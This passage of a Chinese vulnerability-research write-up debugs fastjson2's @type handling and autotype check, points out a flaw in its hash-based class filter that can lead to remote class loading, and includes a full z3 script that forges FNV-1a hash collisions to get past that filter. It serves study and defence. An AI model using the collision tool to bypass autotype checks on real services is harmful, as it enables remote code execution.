System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输入: "</span> + jsonWithType);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输出: "</span> + u2);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)"</span>);
|
||
System.<span class="hljs-keyword">out</span>.println();
|
||
|
||
/*
|
||
[<span class="hljs-number">4</span>] 带 @<span class="hljs-keyword">type</span> <span class="hljs-type">的 </span>JSON, 指定目标类 User.class (不开 SupportAutoType):
|
||
输入: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
|
||
输出: User{name=<span class="hljs-symbol">'alice</span>', age=<span class="hljs-number">25</span>, email=<span class="hljs-symbol">'alice</span>@lab.local'}
|
||
*/
|
||
</code></pre><h2>解析流程</h2>
|
||
<p>根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:</p>
|
||
<p><img src="https://i.ibb.co/5XFmYKLp/cb9fe00d3c9b.png" alt="95c4a05c-be99-4587-af3b-91e6a68decfd.png"></p>
|
||
<p>那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:</p>
|
||
<p>●通过 arthas 将该类的字节码导出</p>
|
||
<p>●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译</p>
|
||
<p>通过思路 2, 最终调用栈如下:</p>
|
||
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderCreatorASM</span><span class="hljs-selector-class">.jitObjectReader</span>(ObjectReaderCreatorASM<span class="hljs-selector-class">.java</span>:<span class="hljs-number">594</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderCreatorASM</span><span class="hljs-selector-class">.createObjectReader</span>(ObjectReaderCreatorASM<span class="hljs-selector-class">.java</span>:<span class="hljs-number">327</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReaderInternal</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">845</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">763</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">858</span>)
|
||
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo01Basic</span><span class="hljs-selector-class">.run</span>(Demo01Basic<span class="hljs-selector-class">.java</span>:<span class="hljs-number">29</span>)
|
||
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo01Basic</span><span class="hljs-selector-class">.main</span>(Demo01Basic<span class="hljs-selector-class">.java</span>:<span class="hljs-number">17</span>)
|
||
</code></pre><p>导出一波:</p>
|
||
<p><img src="https://i.ibb.co/3yTSfDny/3e0213ed1be1.png" alt="1bf88f69-0121-464c-987d-ac4ebed50e17.png"></p>
|
||
<p>最终我们可以看到字节码信息:</p>
|
||
<p><img src="https://i.ibb.co/99s4p6jc/c4b88b80065b.png" alt="efbdf9ee-7776-4885-9e48-8bfeee4516b8.png"></p>
|
||
<p>这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:</p>
|
||
<p><img src="https://i.ibb.co/hFRJs3QS/c6372bd3238e.png" alt="dafa3b01-f783-402b-b46e-59f496e6d299.png"></p>
|
||
<p>随后增加 classpath, 并且将其置顶:</p>
|
||
<p><img src="https://i.ibb.co/Y4RP4LNk/b212fd84590f.png" alt="42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png"></p>
|
||
<p>但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: <a href="https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha">https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha</a> 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:</p>
|
||
<p><img src="https://i.ibb.co/7J4PwgVD/6cd28097c952.png" alt="e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png"></p>
|
||
<p>正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:</p>
|
||
<p><img src="https://i.ibb.co/RkbCq6wP/4554190541b2.png" alt="1b1518ab-74f4-4a26-a11b-8f90ef443d86.png"></p>
|
||
<p>但部分方法会调用 checkAutoType:</p>
|
||
<p><img src="https://i.ibb.co/bjbdv7km/956e9f6f4595.png" alt="4f43bffc-7b9e-4a38-a899-4f6fb0955563.png"></p>
|
||
<h1>RCE 场景</h1>
|
||
<p>参考: <a href="https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A">https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A</a>, 官网的 commit 记录中存在对 payload 的测试记录:</p>
|
||
<p><img src="https://i.ibb.co/RkJRnvBC/52cc63f5fbbd.png" alt="b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png"></p>
|
||
<p>可以看到期望类定义为了 Object, Debug 看一下:</p>
|
||
<pre><code><span class="hljs-variable">package</span> <span class="hljs-variable">com</span>.<span class="hljs-property">heihu577</span>.<span class="hljs-property">demo</span>;
|
||
|
||
<span class="hljs-keyword">import</span> <span class="hljs-variable">com</span>.<span class="hljs-property">alibaba</span>.<span class="hljs-property">fastjson2</span>.<span class="hljs-property">JSON</span>;
|
||
|
||
<span class="hljs-variable">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">Demo</span> {
|
||
<span class="hljs-variable">public</span> <span class="hljs-keyword">static</span> <span class="hljs-variable">void</span> <span class="hljs-title function_">main</span>(<span class="hljs-params">String</span>[] <span class="hljs-params">args</span>) {
|
||
<span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>com.heihu577.model.User<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
|
||
|
||
<span class="hljs-comment">// 指明类型为 Object.class</span>
|
||
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Object</span>.<span class="hljs-property">class</span>);
|
||
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
|
||
}
|
||
}
|
||
</code></pre><p>调用栈为:</p>
|
||
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.checkAutoType</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">554</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">530</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span>.JSONReader<span class="hljs-variable">$Context</span><span class="hljs-selector-class">.getObjectReaderAutoType</span>(JSONReader<span class="hljs-selector-class">.java</span>:<span class="hljs-number">4194</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderImplObject</span><span class="hljs-selector-class">.readObject</span>(ObjectReaderImplObject<span class="hljs-selector-class">.java</span>:<span class="hljs-number">119</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">864</span>)
|
||
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo</span><span class="hljs-selector-class">.main</span>(Demo<span class="hljs-selector-class">.java</span>:<span class="hljs-number">10</span>)
|
||
</code></pre><p>可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:</p>
|
||
<p><img src="https://i.ibb.co/G3M7qhBj/56b13aa8f212.png" alt="abc56426-51dd-4907-b865-168673fe89e4.png"></p>
|
||
<p>在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:</p>
|
||
<p><img src="https://i.ibb.co/wZQLkV1w/ae3f4c0bde08.png" alt="8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png"></p>
|
||
<p>随后经过调用栈:</p>
|
||
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.checkAutoType</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">554</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">530</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span>.JSONReader<span class="hljs-variable">$Context</span><span class="hljs-selector-class">.getObjectReaderAutoType</span>(JSONReader<span class="hljs-selector-class">.java</span>:<span class="hljs-number">4194</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderImplObject</span><span class="hljs-selector-class">.readObject</span>(ObjectReaderImplObject<span class="hljs-selector-class">.java</span>:<span class="hljs-number">119</span>)
|
||
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">864</span>)
|
||
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo</span><span class="hljs-selector-class">.main</span>(Demo<span class="hljs-selector-class">.java</span>:<span class="hljs-number">10</span>)
|
||
</code></pre><p>可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):</p>
|
||
<p><img src="https://i.ibb.co/YT0sXdMS/47915d4d4111.png" alt="5e0aa420-973a-4fa2-8376-eb7af088ca56.png"></p>
|
||
<p>而后面的逻辑存在一个黑白名单校验的缺陷:</p>
|
||
<p><img src="https://i.ibb.co/hJsSsZ2h/72d928600274.png" alt="bb1087af-b01f-4919-a6c2-ffa74baa294c.png"></p>
|
||
<p>即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:</p>
|
||
<p><img src="https://i.ibb.co/TDn50RXY/383da101a051.png" alt="1f220816-5521-45e6-8bf6-cd2c6f22b688.png"></p>
|
||
<p>又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.</p>
|
||
<h2>hash 解密 & payload 调试</h2>
|
||
<p>参考: <a href="https://zhuanlan.zhihu.com/p/30548907">https://zhuanlan.zhihu.com/p/30548907</a> & <a href="https://ctf-wiki.org/reverse/tools/constraint/z3/">https://ctf-wiki.org/reverse/tools/constraint/z3/</a> & <a href="https://www.freebuf.com/articles/web/232002.html">https://www.freebuf.com/articles/web/232002.html</a></p>
|
||
<p>由于 FNV 算法使用了^= & *=进行做位运算, 所以能列成方程组来解表达式:</p>
|
||
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
|
||
<span class="hljs-string">"""
|
||
FNV-1a 64 位哈希碰撞求解器 (z3)
|
||
|
||
对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
|
||
- 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
|
||
- FNV-1a: hash = (hash ^ ch) * prime
|
||
- offset = 0xcbf29ce484222325
|
||
- prime = 0x100000001b3
|
||
|
||
用法:
|
||
python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符]
|
||
|
||
参数:
|
||
目标hash : 十进制 (可负) 或 0x 开头的十六进制
|
||
字符数 : 默认 5
|
||
最小字符 : 默认 256 (确保 >255, 触发 FNV-1a)
|
||
最大字符 : 默认 65535 (Java char 上限)
|
||
|
||
示例:
|
||
python3 fnv_collision.py 0xd5ef36df67371111
|
||
python3 fnv_collision.py -6293031534589903644
|
||
python3 fnv_collision.py 15415600382649766161 5 256 65535
|
||
|
||
依赖:
|
||
pip3 install z3-solver
|
||
"""</span>
|
||
<span class="hljs-keyword">import</span> sys
|
||
<span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *
|
||
|
||
<span class="hljs-comment"># FNV-1a 64 位常量</span>
|
||
OFFSET = <span class="hljs-number">0xcbf29ce484222325</span>
|
||
PRIME = <span class="hljs-number">0x100000001b3</span>
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">parse_hash</span>(<span class="hljs-params">s</span>):
|
||
<span class="hljs-string">"""解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""</span>
|
||
s = s.strip()
|
||
<span class="hljs-keyword">if</span> s.lower().startswith(<span class="hljs-string">'0x'</span>):
|
||
v = <span class="hljs-built_in">int</span>(s, <span class="hljs-number">16</span>)
|
||
<span class="hljs-comment"># 转成有符号 long (Java long 是有符号 64 位)</span>
|
||
<span class="hljs-keyword">if</span> v >= <span class="hljs-number">2</span>**<span class="hljs-number">63</span>:
|
||
v -= <span class="hljs-number">2</span>**<span class="hljs-number">64</span>
|
||
<span class="hljs-keyword">return</span> v
|
||
<span class="hljs-keyword">return</span> <span class="hljs-built_in">int</span>(s)
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">to_unsigned</span>(<span class="hljs-params">v</span>):
|
||
<span class="hljs-string">"""有符号 long -> 无符号"""</span>
|
||
<span class="hljs-keyword">return</span> v & <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">fnv1a_hash</span>(<span class="hljs-params">s</span>):
|
||
<span class="hljs-string">"""计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""</span>
|
||
h = OFFSET
|
||
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> s:
|
||
h ^= <span class="hljs-built_in">ord</span>(ch)
|
||
h = (h * PRIME) & <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>
|
||
<span class="hljs-keyword">return</span> h
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">solve</span>(<span class="hljs-params">target_hash, num_chars=<span class="hljs-number">5</span>, min_char=<span class="hljs-number">256</span>, max_char=<span class="hljs-number">65535</span></span>):
|
||
<span class="hljs-string">"""
|
||
用 z3 求 N 字符碰撞
|
||
|
||
target_hash: 目标 hash (有符号 long)
|
||
num_chars: 字符数
|
||
min_char: 字符最小值 (256 确保触发 FNV-1a)
|
||
max_char: 字符最大值 (65535 = Java char 上限)
|
||
"""</span>
|
||
target_unsigned = to_unsigned(target_hash)
|
||
|
||
<span class="hljs-comment"># 创建 num_chars 个 64 位 BitVec 变量</span>
|
||
c = [BitVec(<span class="hljs-string">f'c<span class="hljs-subst">{i}</span>'</span>, <span class="hljs-number">64</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]
|
||
|
||
<span class="hljs-comment"># FNV-1a 计算</span>
|
||
h = BitVecVal(OFFSET, <span class="hljs-number">64</span>)
|
||
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars):
|
||
h = (h ^ c[i]) * BitVecVal(PRIME, <span class="hljs-number">64</span>)
|
||
|
||
<span class="hljs-comment"># 求解器</span>
|
||
s = Solver()
|
||
s.add(h == BitVecVal(target_unsigned, <span class="hljs-number">64</span>))
|
||
|
||
<span class="hljs-comment"># 字符范围约束</span>
|
||
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars):
|
||
s.add(c[i] >= min_char)
|
||
s.add(c[i] <= max_char)
|
||
<span class="hljs-comment"># ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)</span>
|
||
<span class="hljs-comment"># 这些码点专用于 UTF-16 编码,不能作为独立字符</span>
|
||
<span class="hljs-comment"># Python chr() 能产生但 print 时 UTF-8 不允许</span>
|
||
s.add(Or(c[i] < <span class="hljs-number">0xD800</span>, c[i] > <span class="hljs-number">0xDFFF</span>))
|
||
|
||
<span class="hljs-comment"># 如果字符范围包含 <=255 且 num_chars <=8, 需要至少一个 >255 强制走 FNV-1a</span>
|
||
<span class="hljs-keyword">if</span> min_char <= <span class="hljs-number">255</span> <span class="hljs-keyword">and</span> num_chars <= <span class="hljs-number">8</span>:
|
||
s.add(Or([c[i] > <span class="hljs-number">255</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]))
|
||
|
||
<span class="hljs-comment"># 求解</span>
|
||
result = s.check()
|
||
<span class="hljs-keyword">if</span> result == sat:
|
||
m = s.model()
|
||
<span class="hljs-keyword">return</span> [m[c[i]].as_long() <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]
|
||
<span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
|
||
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) < <span class="hljs-number">2</span>:
|
||
<span class="hljs-built_in">print</span>(__doc__)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
|
||
<span class="hljs-comment"># 解析参数</span>
|
||
target_hash = parse_hash(sys.argv[<span class="hljs-number">1</span>])
|
||
num_chars = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">2</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) > <span class="hljs-number">2</span> <span class="hljs-keyword">else</span> <span class="hljs-number">5</span>
|
||
min_char = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">3</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) > <span class="hljs-number">3</span> <span class="hljs-keyword">else</span> <span class="hljs-number">256</span>
|
||
max_char = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">4</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) > <span class="hljs-number">4</span> <span class="hljs-keyword">else</span> <span class="hljs-number">65535</span>
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" FNV-1a 64 位哈希碰撞求解器 (z3)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (有符号): <span class="hljs-subst">{target_hash}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (无符号): <span class="hljs-subst">{to_unsigned(target_hash)}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (十六进制): 0x<span class="hljs-subst">{to_unsigned(target_hash):016x}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符数: <span class="hljs-subst">{num_chars}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符范围: [<span class="hljs-subst">{min_char}</span>, <span class="hljs-subst">{max_char}</span>]"</span>)
|
||
<span class="hljs-keyword">if</span> min_char <= <span class="hljs-number">255</span>:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ⚠ 范围含 <=255, 会强制至少一个字符 >255 (走 FNV-1a)"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
|
||
<span class="hljs-comment"># 求解</span>
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 求解中..."</span>)
|
||
<span class="hljs-keyword">import</span> time
|
||
start = time.time()
|
||
result = solve(target_hash, num_chars, min_char, max_char)
|
||
elapsed = time.time() - start
|
||
|
||
<span class="hljs-keyword">if</span> result <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 未找到解 (unsat), 耗时 <span class="hljs-subst">{elapsed:<span class="hljs-number">.2</span>f}</span>s"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 可能原因:"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. 输入空间太小 (字符数 × 位宽 < 64)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. z3 求解超时 (尝试减少字符数)"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 真的无解 (极少见)"</span>)
|
||
<span class="hljs-keyword">return</span>
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 找到解! 耗时 <span class="hljs-subst">{elapsed:<span class="hljs-number">.2</span>f}</span>s"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
|
||
<span class="hljs-comment"># 构造碰撞字符串</span>
|
||
collision_str = <span class="hljs-string">''</span>.join(<span class="hljs-built_in">chr</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
|
||
|
||
<span class="hljs-comment"># 验证</span>
|
||
actual_hash = fnv1a_hash(collision_str)
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 碰撞结果"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原始目标 hash: 0x<span class="hljs-subst">{to_unsigned(target_hash):016x}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 碰撞字符串 hash: 0x<span class="hljs-subst">{to_unsigned(actual_hash):016x}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 匹配: <span class="hljs-subst">{<span class="hljs-string">'✓'</span> <span class="hljs-keyword">if</span> to_unsigned(actual_hash) == to_unsigned(target_hash) <span class="hljs-keyword">else</span> <span class="hljs-string">'✗'</span>}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Code Points: <span class="hljs-subst">{result}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 十六进制: [<span class="hljs-subst">{<span class="hljs-string">', '</span>.join(<span class="hljs-string">f'0x<span class="hljs-subst">{c:04x}</span>'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>]"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Unicode 转义: <span class="hljs-subst">{<span class="hljs-string">''</span>.join(<span class="hljs-string">f'\\u<span class="hljs-subst">{c:04x}</span>'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>"</span>)
|
||
<span class="hljs-comment"># 安全打印: 避免代理对/控制字符导致 UnicodeEncodeError</span>
|
||
safe_str = collision_str.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符串: \"<span class="hljs-subst">{safe_str}</span>\""</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 使用提示"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (用 Unicode 转义):"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f' String s = "<span class="hljs-subst">{<span class="hljs-string">""</span>.join(<span class="hljs-string">f"\\u<span class="hljs-subst">{c:04x}</span>"</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>";'</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. 这个字符串的 FNV-1a hash 等于目标 hash"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 每个字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
|
||
|
||
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
|
||
main()
|
||
</code></pre><p>对应方程组:</p>
|
||
<pre><code>已知<span class="hljs-symbol">:</span>
|
||
<span class="hljs-built_in">OFFSET</span> = <span class="hljs-number">0</span>xcbf29ce484222325
|
||
PRIME = <span class="hljs-number">0</span>x100000001b3
|
||
target = -<span class="hljs-number">6293031534589903644</span>
|
||
|
||
方程(假设是 <span class="hljs-number">5</span> 位数)<span class="hljs-symbol">:</span>
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h0</span> = <span class="hljs-built_in">OFFSET</span>
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h1</span> = (<span class="hljs-symbol">h0</span> ^ <span class="hljs-symbol">c0</span>) * PRIME
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h2</span> = (<span class="hljs-symbol">h1</span> ^ <span class="hljs-symbol">c1</span>) * PRIME
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h3</span> = (<span class="hljs-symbol">h2</span> ^ <span class="hljs-symbol">c2</span>) * PRIME
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h4</span> = (<span class="hljs-symbol">h3</span> ^ <span class="hljs-symbol">c3</span>) * PRIME
|
||
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h5</span> = (<span class="hljs-symbol">h4</span> ^ <span class="hljs-symbol">c4</span>) * PRIME
|
||
<span class="hljs-symbol">h5</span> == target
|
||
</code></pre><p>解方程核心代码块:</p>
|
||
<p><img src="https://i.ibb.co/9HBBc3DR/76002f5e75b1.png" alt="7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png"></p>
|
||
<p>最终对应 fastjson 场景解密 -6293031534589903644 效果:</p>
|
||
